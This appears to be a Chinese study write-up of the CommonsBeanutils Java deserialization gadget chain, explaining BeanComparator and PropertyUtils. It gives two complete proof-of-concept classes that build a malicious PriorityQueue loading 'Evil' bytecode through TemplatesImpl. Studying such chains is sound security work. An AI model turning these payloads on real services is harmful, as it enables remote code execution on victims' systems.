CommonsBeanutils

前言

CommonsBeanutils是Apache提供的一个用于操作JavaBean的工具包。在之前学习CC链的时候,CC2的利用链为:

1
PriorityQueue -> TransformingComparator -> ChainedTransformer -> InstantiateTransformer -> TemplatesImpl

CommonsBeanutils链的主要目的就是绕过中间由TransformingComparator触发ChainedTransformer来实例化TemplatesImpl的过程,直接利用Comparator来实例化TemplatesImpl

JavaBean是一种JAVA语言写成的可重用组件,是一个符合如下标准的类:

  1. 类是公共的
  2. 有一个无参的构造器
  3. 有私有属性,其必须有对应的get/set方法去设置属性
  4. 对于Boolean类型的成员变量,必须用is替代get/set方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Person {
private String name;
private int age;
private boolean child;

public String getName() { return this.name; }
public void setName(String name) { this.name = name; }

public int getAge() { return this.age; }
public void setAge(int age) { this.age = age; }

public boolean isChild() {
return age <= 6;
}
}

依赖版本为commons-beanutils 1.9.2和commons-collections 2.0-3.2.2。

前置知识

PropertyUtils

org.apache.commons.beanutils.PropertyUtils类使用Java反射API来调用Java对象上的通用属性getter和setter操作的实用方法,这些方法的具体使用逻辑其实是由org.apache.commons.beanutils.PropertyUtilsBean来实现的。

PropertyUtils中有个共有静态方法getProperty,接收类对象bean和属性名name,方法会返回这个类的这个属性的值。类似于一个Field的反射工具类,不过不是直接使用反射取值,而是使用反射调用其getter方法取值。结合可以触发getter方法这个特点,不难想到可以通过触发TemplatesImpl的getOutputProperties方法来构造调用链。

BeanComparator

BeanComparator是commons-beanutils提供的用来比较两个JavaBean是否相等的类,其实现了java.util.Comparator接口。BeanComparator在初始化时可以指定property属性名称和comparator对比器,如果不指定,则默认是ComparableComparator。

BeanComparator的compare方法接收两个对象,分别调用PropertyUtils#getProperty方法获取两个对象的property属性的值,然后调用internalCompare方法调用实例化时初始化的comparator的compare方法进行比较。

构造利用

PriorityQueue反序列化时调用BeanComparator的compare方法,compare方法中o1赋值构造好的templates对象,property赋值为TemplatesImpl的outputProperties属性,调用TemplatesImpl#getOutputProperties方法,接着衔接TemplatesImpl的利用链 ,触发恶意类的实例化。

但是BeanComparator在初始化时不指定comparator时,默认使用的ComparableComparator类是存在于CommonsCollections库中的,那么能否找到一个不依赖CommonsCollections库的方式来触发呢?

解决方案也是很简单的,上午提到了,使用ComparableComparator类的时候是因为初始化时没有指定comparator,那如果在初始化时赋予一个在原生JDK或CommonsBeanutils库中存在的Comparator并且实现了Serializable接口的类,便可以解决该问题。常用的有java.util.Collections$ReverseComparator和java.lang.String$CaseInsensitiveComparator。

POC

  • 依赖CommonsCollections
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package org.example.deserialize.commonsbeanutils;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.example.deserialize.commonscollections.Evil;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutilsCC {

public static void main(String[] args) throws Exception {
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add(1);
queue.add(1);

Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(queue);
objects[0] = getTemplates();

BeanComparator<Object> beanComparator = new BeanComparator<>("outputProperties");
setFieldValue(queue, "comparator", beanComparator);

try {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(queue);
outputStream.flush();
outputStream.close();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);
inputStream.readObject();
inputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}

public static Templates getTemplates() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
byte[] code = clazz.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "Evil");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

return templates;
}
}
  • 不依赖CommonsCollections
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package org.example.deserialize.commonsbeanutils;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.example.deserialize.commonscollections.Evil;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import static java.lang.String.CASE_INSENSITIVE_ORDER;

public class CommonsBeanutilsNoCC {

public static void main(String[] args) throws Exception {
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("1");

Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(queue);
objects[0] = getTemplates();

BeanComparator<Object> beanComparator = new BeanComparator<>("outputProperties", CASE_INSENSITIVE_ORDER);
setFieldValue(queue, "comparator", beanComparator);

try {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(queue);
outputStream.flush();
outputStream.close();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);
inputStream.readObject();
inputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}

public static Templates getTemplates() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
byte[] code = clazz.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "Evil");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

return templates;
}
}